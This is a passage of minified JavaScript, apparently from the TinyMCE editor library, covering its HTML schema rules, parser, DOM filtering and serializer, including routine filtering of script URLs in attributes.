n=this,r,i=[];for(r=n.firstChild;r;r=e(r,n))r.name===t&&i.push(r);return
i},empty:function(){var
t=this,n,r,i;if(t.firstChild){for(n=[],i=t.firstChild;i;i=e(i,t))n.push(i);for(r=n.length;r--;)i=n[r],i.parent=i.firstChild=i.lastChild=i.next=i.prev=null}return
t.firstChild=t.lastChild=null,t},isEmpty:function(t,r){var
i=this,o=i.firstChild,a,s;if(r=r||{},o)do{if(1===o.type){if(o.attributes.map["data-mce-bogus"])continue;if(t[o.name])return!1;for(a=o.attributes.length;a--;)if(s=o.attributes[a].name,"name"===s||0===s.indexOf("data-mce-bookmark"))return!1}if(8===o.type)return!1;if(3===o.type&&!n.test(o.value))return!1;if(3===o.type&&o.parent&&r[o.parent.name]&&n.test(o.value))return!1}while(o=e(o,i));return!0},walk:function(t){return
e(this,null,t)}},t.create=function(e,n){var i,o;if(i=new
t(e,r[e]||1),n)for(o in n)i.attr(o,n[o]);return
i},t}),r(B,[m],function(e){function t(t,n){return
t=e.trim(t),t?t.split(n||" "):[]}function n(e){function
n(e,n,r){function i(e,t){var
n={},r,i;for(r=0,i=e.length;r<i;r++)n[e[r]]=t||{};return n}var
s,u,c;for(r=r||[],n=n||"","string"==typeof
r&&(r=t(r)),e=t(e),s=e.length;s--;)u=t([l,n].join("
")),c={attributes:i(u),attributesOrder:u,children:i(r,o)},a[e[s]]=c}function
r(e,n){var
r,i,o,s;for(e=t(e),r=e.length,n=t(n);r--;)for(i=a[e[r]],o=0,s=n.length;o<s;o++)i.attributes[n[o]]={},i.attributesOrder.push(n[o])}var
a={},l,u,c,d,f,p;return i[e]?i[e]:(l="id accesskey class dir lang
style tabindex title",u="address blockquote div dl fieldset form
h1 h2 h3 h4 h5 h6 hr menu ol p pre table ul",c="a abbr b bdo br
button cite code del dfn em embed i iframe img input ins kbd label map
noscript object q s samp script select small span strong sub sup textarea u
var #text #comment","html4"!=e&&(l+="
contenteditable contextmenu draggable dropzone hidden spellcheck
translate",u+=" article aside details dialog figure header footer
hgroup section nav",c+=" audio canvas command datalist mark meter
output picture progress time wbr video ruby bdi
keygen"),"html5-strict"!=e&&(l+="
xml:lang",p="acronym applet basefont big font strike
tt",c=[c,p].join("
"),s(t(p),function(e){n(e,"",c)}),f="center dir isindex
noframes",u=[u,f].join(" "),d=[u,c].join("
"),s(t(f),function(e){n(e,"",d)})),d=d||[u,c].join("
"),n("html","manifest","head
body"),n("head","","base command link meta
noscript script style title"),n("title hr noscript
br"),n("base","href
target"),n("link","href rel media hreflang type sizes
hreflang"),n("meta","name http-equiv content
charset"),n("style","media type
scoped"),n("script","src async defer type
charset"),n("body","onafterprint onbeforeprint
onbeforeunload onblur onerror onfocus onhashchange onload onmessage
onoffline ononline onpagehide onpageshow onpopstate onresize onscroll
onstorage onunload",d),n("address dt dd div
caption","",d),n("h1 h2 h3 h4 h5 h6 pre p abbr code var
samp kbd sub sup i b u bdo span legend em strong small s cite
dfn","",c),n("blockquote","cite",d),n("ol","reversed
start
type","li"),n("ul","","li"),n("li","value",d),n("dl","","dt
dd"),n("a","href target rel media hreflang
type",c),n("q","cite",c),n("ins
del","cite datetime",d),n("img","src sizes
srcset alt usemap ismap width height"),n("iframe","src
name width height",d),n("embed","src type width
height"),n("object","data type typemustmatch name
usemap form width height",[d,"param"].join("
")),n("param","name
value"),n("map","name",[d,"area"].join("
")),n("area","alt coords shape href target rel media
hreflang type"),n("table","border","caption
colgroup thead tfoot tbody tr"+("html4"==e?"
col":"")),n("colgroup","span","col"),n("col","span"),n("tbody
thead
tfoot","","tr"),n("tr","","td
th"),n("td","colspan rowspan
headers",d),n("th","colspan rowspan headers scope
abbr",d),n("form","accept-charset action autocomplete
enctype method name novalidate
target",d),n("fieldset","disabled form
name",[d,"legend"].join("
")),n("label","form
for",c),n("input","accept alt autocomplete checked
dirname disabled form formaction formenctype formmethod formnovalidate
formtarget height list max maxlength min multiple name pattern readonly
required size src step type value
width"),n("button","disabled form formaction
formenctype formmethod formnovalidate formtarget name type
value","html4"==e?d:c),n("select","disabled
form multiple name required size","option
optgroup"),n("optgroup","disabled
label","option"),n("option","disabled label
selected value"),n("textarea","cols dirname disabled
form maxlength name readonly required rows
wrap"),n("menu","type
label",[d,"li"].join("
")),n("noscript","",d),"html4"!=e&&(n("wbr"),n("ruby","",[c,"rt
rp"].join("
")),n("figcaption","",d),n("mark rt rp
summary bdi","",c),n("canvas","width
height",d),n("video","src crossorigin poster preload
autoplay mediagroup loop muted controls width height
buffered",[d,"track source"].join("
")),n("audio","src crossorigin preload autoplay
mediagroup loop muted controls buffered volume",[d,"track
source"].join("
")),n("picture","","img
source"),n("source","src srcset type media
sizes"),n("track","kind src srclang label
default"),n("datalist","",[c,"option"].join("
")),n("article section nav aside header
footer","",d),n("hgroup","","h1 h2
h3 h4 h5
h6"),n("figure","",[d,"figcaption"].join("
")),n("time","datetime",c),n("dialog","open",d),n("command","type
label icon disabled checked radiogroup
command"),n("output","for form
name",c),n("progress","value
max",c),n("meter","value min max low high
optimum",c),n("details","open",[d,"summary"].join("
")),n("keygen","autofocus challenge disabled form
keytype
name")),"html5-strict"!=e&&(r("script","language
xml:space"),r("style","xml:space"),r("object","declare
classid code codebase codetype archive standby align border hspace
vspace"),r("embed","align name hspace
vspace"),r("param","valuetype
type"),r("a","charset name rev shape
coords"),r("br","clear"),r("applet","codebase
archive code object alt name width height align hspace
vspace"),r("img","name longdesc align border hspace
vspace"),r("iframe","longdesc frameborder marginwidth
marginheight scrolling align"),r("font basefont","size
color face"),r("input","usemap
align"),r("select","onchange"),r("textarea"),r("h1
h2 h3 h4 h5 h6 div p legend
caption","align"),r("ul","type
compact"),r("li","type"),r("ol dl menu
dir","compact"),r("pre","width
xml:space"),r("hr","align noshade size
width"),r("isindex","prompt"),r("table","summary
width frame rules cellspacing cellpadding align
bgcolor"),r("col","width align char charoff
valign"),r("colgroup","width align char charoff
valign"),r("thead","align char charoff
valign"),r("tr","align char charoff valign
bgcolor"),r("th","axis align char charoff valign nowrap
bgcolor width
height"),r("form","accept"),r("td","abbr
axis scope align char charoff valign nowrap bgcolor width
height"),r("tfoot","align char charoff
valign"),r("tbody","align char charoff
valign"),r("area","nohref"),r("body","background
bgcolor text link vlink
alink")),"html4"!=e&&(r("input button select
textarea","autofocus"),r("input
textarea","placeholder"),r("a","download"),
r("link script
img","crossorigin"),r("iframe","sandbox
seamless allowfullscreen")),s(t("a form meter progress
dfn"),function(e){a[e]&&delete a[e].children[e]}),delete
a.caption.children.table,delete a.script,i[e]=a,a)}function r(e,t){var
n;return e&&(n={},"string"==typeof
e&&(e={"*":e}),s(e,function(e,r){n[r]=n[r.toUpperCase()]="map"==t?a(e,/[,
]/):u(e,/[, ]/)})),n}var
i={},o={},a=e.makeMap,s=e.each,l=e.extend,u=e.explode,c=e.inArray;return
function(e){function o(t,n,r){var o=e[t];return o?o=a(o,/[,
]/,a(o.toUpperCase(),/[, ]/)):(o=i[t],o||(o=a(n,"
",a(n.toUpperCase()," ")),o=l(o,r),i[t]=o)),o}function
d(e){return new
RegExp("^"+e.replace(/([?+*])/g,".$1")+"$")}function
f(e){var
n,r,i,o,s,l,u,f,p,h,m,g,v,b,x,w,E,N,_,S=/^([#+\-])?([^\[!\/]+)(?:\/([^\[!]+))?(?:(!?)\[([^\]]+)\])?$/,k=/^([!\-])?(\w+::\w+|[^=:<]+)?(?:([=:<])(.*))?$/,T=/[*?+]/;if(e)for(e=t(e,","),y["@"]&&(w=y["@"].attributes,E=y["@"].attributesOrder),n=0,r=e.length;n<r;n++)if(s=S.exec(e[n])){if(b=s[1],p=s[2],x=s[3],f=s[5],g={},v=[],l={attributes:g,attributesOrder:v},"#"===b&&(l.paddEmpty=!0),"-"===b&&(l.removeEmpty=!0),"!"===s[4]&&(l.removeEmptyAttrs=!0),w){for(N
in
w)g[N]=w[N];v.push.apply(v,E)}if(f)for(f=t(f,"|"),i=0,o=f.length;i<o;i++)if(s=k.exec(f[i])){if(u={},m=s[1],h=s[2].replace(/::/g,":"),b=s[3],_=s[4],"!"===m&&(l.attributesRequired=l.attributesRequired||[],l.attributesRequired.push(h),u.required=!0),"-"===m){delete
g[h],v.splice(c(v,h),1);continue}b&&("="===b&&(l.attributesDefault=l.attributesDefault||[],l.attributesDefault.push({name:h,value:_}),u.defaultValue=_),":"===b&&(l.attributesForced=l.attributesForced||[],l.attributesForced.push({name:h,value:_}),u.forcedValue=_),"<"===b&&(u.validValues=a(_,"?"))),T.test(h)?(l.attributePatterns=l.attributePatterns||[],u.pattern=d(h),l.attributePatterns.push(u)):(g[h]||v.push(h),g[h]=u)}w||"@"!=p||(w=g,E=v),x&&(l.outputName=p,y[x]=l),T.test(p)?(l.pattern=d(p),C.push(l)):y[p]=l}}function
p(e){y={},C=[],f(e),s(E,function(e,t){b[t]=e.children})}function h(e){var
n=/^(~)?(.+)$/;e&&(i.text_block_elements=i.block_elements=null,s(t(e,","),function(e){var
t=n.exec(e),r="~"===t[1],i=r?"span":"div",o=t[2];if(b[o]=b[i],M[o]=i,r||(R[o.toUpperCase()]={},R[o]={}),!y[o]){var
a=y[i];a=l({},a),delete a.removeEmptyAttrs,delete
a.removeEmpty,y[o]=a}s(b,function(e,t){e[i]&&(b[t]=e=l({},b[t]),e[o]=e[i])})}))}function
m(n){var
r=/^([+\-]?)(\w+)\[([^\]]+)\]$/;i[e.schema]=null,n&&s(t(n,","),function(e){var
n=r.exec(e),i,o;n&&(o=n[1],i=o?b[n[2]]:b[n[2]]={"#comment":{}},i=b[n[2]],s(t(n[3],"|"),function(e){"-"===o?delete
i[e]:i[e]={}}))})}function g(e){var t=y[e],n;if(t)return
t;for(n=C.length;n--;)if(t=C[n],t.pattern.test(e))return t}var
v=this,y={},b={},C=[],x,w,E,N,_,S,k,T,R,A,B,D,L,M={},P={};e=e||{},E=n(e.schema),e.verify_html===!1&&(e.valid_elements="*[*]"),x=r(e.valid_styles),w=r(e.invalid_styles,"map"),T=r(e.valid_classes,"map"),N=o("whitespace_elements","pre
script noscript style textarea video audio iframe object
code"),_=o("self_closing_elements","colgroup dd dt li
option p td tfoot th thead
tr"),S=o("short_ended_elements","area base basefont br
col frame hr img input isindex link meta param embed source wbr
track"),k=o("boolean_attributes","checked compact
declare defer disabled ismap multiple nohref noresize noshade nowrap
readonly selected autoplay loop
controls"),A=o("non_empty_elements","td th iframe video
audio object script pre
code",S),B=o("move_caret_before_on_enter_elements","table",A),D=o("text_block_elements","h1
h2 h3 h4 h5 h6 p div address pre form blockquote center dir fieldset header
footer article section hgroup aside nav
figure"),R=o("block_elements","hr table tbody thead
tfoot th tr td li ol ul caption dl dt dd noscript menu isindex option
datalist select optgroup
figcaption",D),L=o("text_inline_elements","span strong
b em i font strike u var cite dfn code mark q sup sub
samp"),s((e.special||"script noscript iframe noframes noembed
title style textarea xmp").split(" "),function(e){P[e]=new
RegExp("</"+e+"[^>]*>","gi")}),e.valid_elements?p(e.valid_elements):(s(E,function(e,t){y[t]={attributes:e.attributes,attributesOrder:e.attributesOrder},b[t]=e.children}),"html5"!=e.schema&&s(t("strong/b
em/i"),function(e){e=t(e,"/"),y[e[1]].outputName=e[0]}),s(t("ol
ul sub sup blockquote span font a table tbody tr strong em b
i"),function(e){y[e]&&(y[e].removeEmpty=!0)}),s(t("p h1
h2 h3 h4 h5 h6 th td pre div address
caption"),function(e){y[e].paddEmpty=!0}),s(t("span"),function(e){y[e].removeEmptyAttrs=!0})),h(e.custom_elements),m(e.valid_children),f(e.extended_valid_elements),m("+ol[ul|ol],+ul[ul|ol]"),s({dd:"dl",dt:"dl",li:"ul
ol",td:"tr",th:"tr",tr:"tbody thead
tfoot",tbody:"table",thead:"table",tfoot:"table",legend:"fieldset",area:"map",param:"video
audio
object"},function(e,n){y[n]&&(y[n].parentsRequired=t(e))}),e.invalid_elements&&s(u(e.invalid_elements),function(e){y[e]&&delete
y[e]}),g("span")||f("span[!data-mce-type|*]"),v.children=b,v.getValidStyles=function(){return
x},v.getInvalidStyles=function(){return
w},v.getValidClasses=function(){return T},v.getBoolAttrs=function(){return
k},v.getBlockElements=function(){return
R},v.getTextBlockElements=function(){return
D},v.getTextInlineElements=function(){return
L},v.getShortEndedElements=function(){return
S},v.getSelfClosingElements=function(){return
_},v.getNonEmptyElements=function(){return
A},v.getMoveCaretBeforeOnEnterElements=function(){return
B},v.getWhiteSpaceElements=function(){return
N},v.getSpecialElements=function(){return
P},v.isValidChild=function(e,t){var
n=b[e];return!(!n||!n[t])},v.isValid=function(e,t){var
n,r,i=g(e);if(i){if(!t)return!0;if(i.attributes[t])return!0;if(n=i.attributePatterns)for(r=n.length;r--;)if(n[r].pattern.test(e))return!0}return!1},v.getElementRule=g,v.getCustomElements=function(){return
M},v.addValidElements=f,v.setValidElements=p,v.addCustomElements=h,v.addValidChildren=m,v.elements=y}}),r(D,[B,C,m],function(e,t,n){function
r(e){for(var
t=e;/<!--|--!?>/g.test(t);)t=t.replace(/<!--|--!?>/g,"");return
t}function i(e,t,n){var
r=1,i,o,a,s;for(s=e.getShortEndedElements(),a=/<([!?\/])?([A-Za-z0-9\-_\:\.]+)((?:\s+[^"\'>]+(?:(?:"[^"]*")|(?:\'[^\']*\')|[^>]*))*|\/|\s+)>/g,a.lastIndex=i=n;o=a.exec(t);){if(i=a.lastIndex,"/"===o[1])r--;else
if(!o[1]){if(o[2]in s)continue;r++}if(0===r)break}return i}function
o(o,s){function l(){}var u=this;o=o||{},u.schema=s=s||new
e,o.fix_self_closing!==!1&&(o.fix_self_closing=!0),a("comment
cdata text start end pi doctype".split("
"),function(e){e&&(u[e]=o[e]||l)}),u.parse=function(e){function
a(e){var
t,n;for(t=h.length;t--&&h[t].name!==e;);if(t>=0){for(n=h.length-1;n>=t;n--)e=h[n],e.valid&&u.end(e.name);h.length=t}}function
l(e,t,n,r,i){var a,s,l=/[\s\u0000-\u001F]+/g;if(t=t.toLowerCase(),n=t in
w?t:U(n||r||i||""),N&&!b&&0!==t.indexOf("data-")){if(a=R[t],!a&&A){for(s=A.length;s--&&(a=A[s],!a.pattern.test(t)););s===-1&&(a=null)}if(!a)return;if(a.validValues&&!(n
in a.validValues))return}if(V[t]&&!o.allow_script_urls){var
u=n.replace(l,"");try{u=decodeURIComponent(u)}catch(c){u=unescape(u)}if($.test(u))return;if(!o.allow_html_data_urls&&q.test(u)&&!/^data:image\//i.test(u))return}m.map[t]=n,m.push({name:t,value:n})}var
u=this,c,d=0,f,p,h=[],m,g,v,y,b,C,x,w,E,N,_,S,k,T,R,A,B,D,L,M,P,O,H,I,F,z=0,U=t.decode,W,V=n.makeMap("src,href,data,background,formaction,poster,xlink:href"),$=/((java|vb)script|mhtml):/i,q=/^data:/i;for(O=new
RegExp("<(?:(?:!--([\\w\\W]*?)--!?>)|(?:!\\[CDATA\\[([\\w\\W]*?)\\]\\]>)|(?:!DOCTYPE([\\w\\W]*?)>)|(?:\\?([^\\s\\/<>]+)
?([\\w\\W]*?)[?/]>)|(?:\\/([^>]+)>)|(?:([A-Za-z0-9\\-_\\:\\.]+)((?:\\s+[^\"'>]+(?:(?:\"[^\"]*\")|(?:'[^']*')|[^>]*))*|\\/|\\s+)>))","g"),H=/([\w:\-]+)(?:\s*=\s*(?:(?:\"((?:[^\"])*)\")|(?:\'((?:[^\'])*)\')|([^>\s]+)))?/g,x=s.getShortEndedElements(),P=o.self_closing_elements||s.getSelfClosingElements(),w=s.getBoolAttrs(),N=o.validate,C=o.remove_internals,W=o.fix_self_closing,I=s.getSpecialElements();c=O.exec(e);){if(d<c.index&&u.text(U(e.substr(d,c.index-d))),f=c[6])f=f.toLowerCase(),":"===f.charAt(0)&&(f=f.substr(1)),a(f);else
if(f=c[7]){if(f=f.toLowerCase(),":"===f.charAt(0)&&(f=f.substr(1)),E=f
in
x,W&&P[f]&&h.length>0&&h[h.length-1].name===f&&a(f),!N||(_=s.getElementRule(f))){if(S=!0,N&&(R=_.attributes,A=_.attributePatterns),(T=c[8])?(b=T.indexOf("data-mce-type")!==-1,b&&C&&(S=!1),m=[],m.map={},T.replace(H,l)):(m=[],m.map={}),N&&!b){if(B=_.attributesRequired,D=_.attributesDefault,L=_.attributesForced,M=_.removeEmptyAttrs,M&&!m.length&&(S=!1),L)for(g=L.length;g--;)k=L[g],y=k.name,F=k.value,"{$uid}"===F&&(F="mce_"+z++),m.map[y]=F,m.push({name:y,value:F});if(D)for(g=D.length;g--;)k=D[g],y=k.name,y
in
m.map||(F=k.value,"{$uid}"===F&&(F="mce_"+z++),m.map[y]=F,m.push({name:y,value:F}));if(B){for(g=B.length;g--&&!(B[g]in
m.map););g===-1&&(S=!1)}if(k=m.map["data-mce-bogus"]){if("all"===k){d=i(s,e,O.lastIndex),O.lastIndex=d;continue}S=!1}}S&&u.start(f,m,E)}else
S=!1;if(p=I[f]){p.lastIndex=d=c.index+c[0].length,(c=p.exec(e))?(S&&(v=e.substr(d,c.index-d)),d=c.index+c[0].length):(v=e.substr(d),d=e.length),S&&(v.length>0&&u.text(v,!0),u.end(f)),O.lastIndex=d;continue}E||(T&&T.indexOf("/")==T.length-1?S&&u.end(f):h.push({name:f,valid:S}))}else(f=c[1])?(">"===f.charAt(0)&&(f="
"+f),o.allow_conditional_comments||"[if"!==f.substr(0,3).toLowerCase()||(f="
"+f),u.comment(f)):(f=c[2])?u.cdata(r(f)):(f=c[3])?u.doctype(f):(f=c[4])&&u.pi(f,c[5]);d=c.index+c[0].length}for(d<e.length&&u.text(U(e.substr(d))),g=h.length-1;g>=0;g--)f=h[g],f.valid&&u.end(f.name)}}var
a=n.each;return o.findEndTag=i,o}),r(L,[A,B,D,m],function(e,t,n,r){var
i=r.makeMap,o=r.each,a=r.explode,s=r.extend,l=function(t,n){t.padd_empty_with_br?n.empty().append(new
e("br","1")).shortEnded=!0:n.empty().append(new
e("#text","3")).value="\xa0"},u=function(e,t){return
e&&e.firstChild===e.lastChild&&e.firstChild.name===t};return
function(c,d){function f(t){var
n,r,o,a,s,l,c,f,h,m,g,v,y,b,C,x;for(v=i("tr,td,th,tbody,thead,tfoot,table"),m=d.getNonEmptyElements(),g=d.getWhiteSpaceElements(),y=d.getTextBlockElements(),b=d.getSpecialElements(),n=0;n<t.length;n++)if(r=t[n],r.parent&&!r.fixed)if(y[r.name]&&"li"==r.parent.name){for(C=r.next;C&&y[C.name];)C.name="li",C.fixed=!0,r.parent.insert(C,r.parent),C=C.next;r.unwrap(r)}else{for(a=[r],o=r.parent;o&&!d.isValidChild(o.name,r.name)&&!v[o.name];o=o.parent)a.push(o);if(o&&a.length>1){for(a.reverse(),s=l=p.filterNode(a[0].clone()),h=0;h<a.length-1;h++){for(d.isValidChild(l.name,a[h].name)?(c=p.filterNode(a[h].clone()),l.append(c)):c=l,f=a[h].firstChild;f&&f!=a[h+1];)x=f.next,c.append(f),f=x;l=c}s.isEmpty(m,g)?o.insert(r,a[0],!0):(o.insert(s,a[0],!0),o.insert(r,s)),o=a[0],(o.isEmpty(m,g)||u(o,"br"))&&o.empty().remove()}else
if(r.parent){if("li"===r.name){if(C=r.prev,C&&("ul"===C.name||"ul"===C.name)){C.append(r);continue}if(C=r.next,C&&("ul"===C.name||"ul"===C.name)){C.insert(r,C.firstChild,!0);continue}r.wrap(p.filterNode(new
e("ul",1)));continue}d.isValidChild(r.parent.name,"div")&&d.isValidChild("div",r.name)?r.wrap(p.filterNode(new
e("div",1))):b[r.name]?r.empty().remove():r.unwrap()}}}var
p=this,h={},m=[],g={},v={};c=c||{},c.validate=!("validate"in
c)||c.validate,c.root_name=c.root_name||"body",p.schema=d=d||new
t,p.filterNode=function(e){var t,n,r;n in
h&&(r=g[n],r?r.push(e):g[n]=[e]),t=m.length;for(;t--;)n=m[t].name,n
in e.attributes.map&&(r=v[n],r?r.push(e):v[n]=[e]);return
e},p.addNodeFilter=function(e,t){o(a(e),function(e){var
n=h[e];n||(h[e]=n=[]),n.push(t)})},p.addAttributeFilter=function(e,t){o(a(e),function(e){var
n;for(n=0;n<m.length;n++)if(m[n].name===e)return void
m[n].callbacks.push(t);m.push({name:e,callbacks:[t]})})},p.parse=function(t,r){function
o(){function
e(e){e&&(t=e.firstChild,t&&3==t.type&&(t.value=t.value.replace(A,"")),t=e.lastChild,t&&3==t.type&&(t.value=t.value.replace(L,"")))}var
t=b.firstChild,n,r;if(d.isValidChild(b.name,F.toLowerCase())){for(;t;)n=t.next,3==t.type||1==t.type&&"p"!==t.name&&!R[t.name]&&!t.attr("data-mce-type")?r?r.append(t):(r=a(F,1),r.attr(c.forced_root_block_attrs),b.insert(r,t),r.append(t)):(e(r),r=null),t=n;e(r)}}function
a(t,n){var r=new e(t,n),i;return t in
h&&(i=g[t],i?i.push(r):g[t]=[r]),r}function u(e){var
t,n,r,i,o=d.getBlockElements();for(t=e.prev;t&&3===t.type;){if(r=t.value.replace(L,""),r.length>0)return
void(t.value=r);if(n=t.next){if(3==n.type&&n.value.length){t=t.prev;continue}if(!o[n.name]&&"script"!=n.name&&"style"!=n.name){t=t.prev;continue}}i=t.prev,t.remove(),t=i}}function
p(e){var t,n={};for(t in
e)"li"!==t&&"p"!=t&&(n[t]=e[t]);return
n}var
y,b,C,x,w,E,N,_,S,k,T,R,A,B=[],D,L,M,P,O,H,I,F;if(r=r||{},g={},v={},R=s(i("script,style,head,html,body,title,meta,param"),d.getBlockElements()),I=d.getNonEmptyElements(),H=d.children,T=c.validate,F="forced_root_block"in
r?r.forced_root_block:c.forced_root_block,O=d.getWhiteSpaceElements(),A=/^[
\t\r\n]+/,L=/[ \t\r\n]+$/,M=/[ \t\r\n]+/g,P=/^[ \t\r\n]+$/,y=new
n({validate:T,allow_script_urls:c.allow_script_urls,allow_conditional_comments:c.allow_conditional_comments,self_closing_elements:p(d.getSelfClosingElements()),cdata:function(e){C.append(a("#cdata",4)).value=e},text:function(e,t){var
n;D||(e=e.replace(M,"
"),C.lastChild&&R[C.lastChild.name]&&(e=e.replace(A,""))),0!==e.length&&(n=a("#text",3),n.raw=!!t,C.append(n).value=e)},comment:function(e){C.append(a("#comment",8)).value=e},pi:function(e,t){C.append(a(e,7)).value=t,u(C)},doctype:function(e){var
t;t=C.append(a("#doctype",10)),t.value=e,u(C)},start:function(e,t,n){var
r,i,o,s,l;if(o=T?d.getElementRule(e):{}){for(r=a(o.outputName||e,1),r.attributes=t,r.shortEnded=n,C.append(r),l=H[C.name],l&&H[r.name]&&!l[r.name]&&B.push(r),i=m.length;i--;)s=m[i].name,s
in
t.map&&(S=v[s],S?S.push(r):v[s]=[r]);R[e]&&u(r),n||(C=r),!D&&O[e]&&(D=!0)}},end:function(e){var
t,n,r,i,o;if(n=T?d.getElementRule(e):{}){if(R[e]&&!D){if(t=C.firstChild,t&&3===t.type)if(r=t.value.replace(A,""),r.length>0)t.value=r,t=t.next;else
for(i=t.next,t.remove(),t=i;t&&3===t.type;)r=t.value,i=t.next,(0===r.length||P.test(r))&&(t.remove(),t=i),t=i;if(t=C.lastChild,t&&3===t.type)if(r=t.value.replace(L,""),r.length>0)t.value=r,t=t.prev;else
for(i=t.prev,t.remove(),t=i;t&&3===t.type;)r=t.value,i=t.prev,(0===r.length||P.test(r))&&(t.remove(),t=i),t=i}if(D&&O[e]&&(D=!1),(n.removeEmpty||n.paddEmpty)&&C.isEmpty(I,O))if(n.paddEmpty)l(c,C);else
if(!C.attributes.map.name&&!C.attributes.map.id)return
o=C.parent,R[C.name]?C.empty().remove():C.unwrap(),void(C=o);C=C.parent}}},d),b=C=new
e(r.context||c.root_name,11),y.parse(t),T&&B.length&&(r.context?r.invalid=!0:f(B)),F&&("body"==b.name||r.isRootContent)&&o(),!r.invalid){for(k
in
g){for(S=h[k],x=g[k],N=x.length;N--;)x[N].parent||x.splice(N,1);for(w=0,E=S.length;w<E;w++)S[w](x,k,r)}for(w=0,E=m.length;w<E;w++)if(S=m[w],S.name
in
v){for(x=v[S.name],N=x.length;N--;)x[N].parent||x.splice(N,1);for(N=0,_=S.callbacks.length;N<_;N++)S.callbacks[N](x,S.name,r)}}return
b},c.remove_trailing_brs&&p.addNodeFilter("br",function(t){var
n,r=t.length,i,o=s({},d.getBlockElements()),a=d.getNonEmptyElements(),u,f,p,h,m=d.getNonEmptyElements(),g,v;for(o.body=1,n=0;n<r;n++)if(i=t[n],u=i.parent,o[i.parent.name]&&i===u.lastChild){for(p=i.prev;p;){if(h=p.name,"span"!==h||"bookmark"!==p.attr("data-mce-type")){if("br"!==h)break;if("br"===h){i=null;break}}p=p.prev}i&&(i.remove(),u.isEmpty(a,m)&&(g=d.getElementRule(u.name),g&&(g.removeEmpty?u.remove():g.paddEmpty&&l(c,u))))}else{for(f=i;u&&u.firstChild===f&&u.lastChild===f&&(f=u,!o[u.name]);)u=u.parent;f===u&&c.padd_empty_with_br!==!0&&(v=new
e("#text",3),v.value="\xa0",i.replace(v))}}),c.allow_unsafe_link_target||p.addAttributeFilter("href",function(e){function
t(e){return e=n(e),e?[e,l].join(" "):l}function n(e){var t=new
RegExp("("+l.replace("
","|")+")","g");return
e&&(e=r.trim(e.replace(t,""))),e?e:null}function
i(e,r){return r?t(e):n(e)}for(var o=e.length,a,s,l="noopener
noreferrer";o--;)a=e[o],s=a.attr("rel"),"a"===a.name&&a.attr("rel",i(s,"_blank"==a.attr("target")))}),c.allow_html_in_named_anchor||p.addAttributeFilter("id,name",function(e){for(var
t=e.length,n,r,i,o;t--;)if(o=e[t],"a"===o.name&&o.firstChild&&!o.attr("href")){i=o.parent,n=o.lastChild;do
r=n.prev,i.insert(n,o),n=r;while(n)}}),c.fix_list_elements&&p.addNodeFilter("ul,ol",function(t){for(var
n=t.length,r,i;n--;)if(r=t[n],i=r.parent,"ul"===i.name||"ol"===i.name)if(r.prev&&"li"===r.prev.name)r.prev.append(r);else{var
o=new e("li",1);o.attr("style","list-style-type:
none"),r.wrap(o)}}),c.validate&&d.getValidClasses()&&p.addAttributeFilter("class",function(e){for(var
t=e.length,n,r,i,o,a,s=d.getValidClasses(),l,u;t--;){for(n=e[t],r=n.attr("class").split("
"),a="",i=0;i<r.length;i++)o=r[i],u=!1,l=s["*"],l&&l[o]&&(u=!0),l=s[n.name],!u&&l&&l[o]&&(u=!0),u&&(a&&(a+="
"),a+=o);a.length||(a=null),n.attr("class",a)}})}}),r(M,[C,m],function(e,t){var
n=t.makeMap;return function(t){var r=[],i,o,a,s,l;return
t=t||{},i=t.indent,o=n(t.indent_before||""),a=n(t.indent_after||""),s=e.getEncodeFunc(t.entity_encoding||"raw",t.entities),l="html"==t.element_format,{start:function(e,t,n){var
u,c,d,f;if(i&&o[e]&&r.length>0&&(f=r[r.length-1],f.length>0&&"\n"!==f&&r.push("\n")),r.push("<",e),t)for(u=0,c=t.length;u<c;u++)d=t[u],r.push("
",d.name,'="',s(d.value,!0),'"');!n||l?r[r.length]=">":r[r.length]="
/>",n&&i&&a[e]&&r.length>0&&(f=r[r.length-1],f.length>0&&"\n"!==f&&r.push("\n"))},end:function(e){var
t;r.push("</",e,">"),i&&a[e]&&r.length>0&&(t=r[r.length-1],t.length>0&&"\n"!==t&&r.push("\n"))},text:function(e,t){e.length>0&&(r[r.length]=t?e:s(e))},cdata:function(e){r.push("<![CDATA[",e,"]]>")},comment:function(e){r.push("<!--",e,"-->")},pi:function(e,t){t?r.push("<?",e,"
",s(t),"?>"):r.push("<?",e,"?>"),i&&r.push("\n")},doctype:function(e){r.push("<!DOCTYPE",e,">",i?"\n":"")},reset:function(){r.length=0},getContent:function(){return
r.join("").replace(/\n$/,"")}}}}),r(P,[M,B],function(e,t){return
function(n,r){var i=this,o=new
e(n);n=n||{},n.validate=!("validate"in
n)||n.validate,i.schema=r=r||new
t,i.writer=o,i.serialize=function(e){function t(e){var
n=i[e.type],s,l,u,c,d,f,p,h,m;if(n)n(e);else{if(s=e.name,l=e.shortEnded,u=e.attributes,a&&u&&u.length>1&&(f=[],f.map={},m=r.getElementRule(e.name))){for(p=0,h=m.attributesOrder.length;p<h;p++)c=m.attributesOrder[p],c
in
u.map&&(d=u.map[c],f.map[c]=d,f.push({name:c,value:d}));for(p=0,h=u.length;p<h;p++)c=u[p].name,c
in
f.map||(d=u.map[c],f.map[c]=d,f.push({name:c,value:d}));u=f}if(o.start(e.name,u,l),!l){if(e=e.firstChild)do
t(e);while(e=e.next);o.end(s)}}}var i,a;return
a=n.validate,i={3:function(e){o.text(e.value,e.raw)},8:function(e){o.comment(e.value)},7:function(e){o.pi(e.name,e.value)},10:function(e){o.doctype(e.value)},4:function(e){o.cdata(e.value)},11:function(e){if(e=e.firstChild)do
t(e);while(e=e.next)}},o.reset(),1!=e.type||n.inner?i[11](e):t(e),o.getContent()}}}),r(O,[w,L,D,C,P,A,B,d,m,S],function(e,t,n,r,i,o,a,s,l,u){function
c(e){function t(e){return e&&"br"===e.name}var
n,r;n=e.lastChild,t(n)&&(r=n.prev,t(r)&&(n.remove(),r.remove()))}var
d=l.each,f=l.trim,p=e.DOM;return function(e,o){function h(e){var t=new
RegExp(["<span[^>]+data-mce-bogus[^>]+>[\u200b\ufeff]+<\\/span>","\\s?("+x.join("|")+')="[^"]+"'].join("|"),"gi");return
e=u.trim(e.replace(t,""))}function m(e){var t=e,r=/<(\w+)
[^>]*data-mce-bogus="all"[^>]*>/g,i,a,s,l,u,c=o.schema;for(t=h(t),u=c.getShortEndedElements();l=r.exec(t);)a=r.lastIndex,s=l[0].length,i=u[l[1]]?a:n.findEndTag(c,t,a),t=t.substring(0,a-s)+t.substring(i),r.lastIndex=a-s;return
t}function g(){return m(o.getBody().innerHTML)}function
v(e){l.inArray(x,e)===-1&&(C.addAttributeFilter(e,function(e,t){for(var
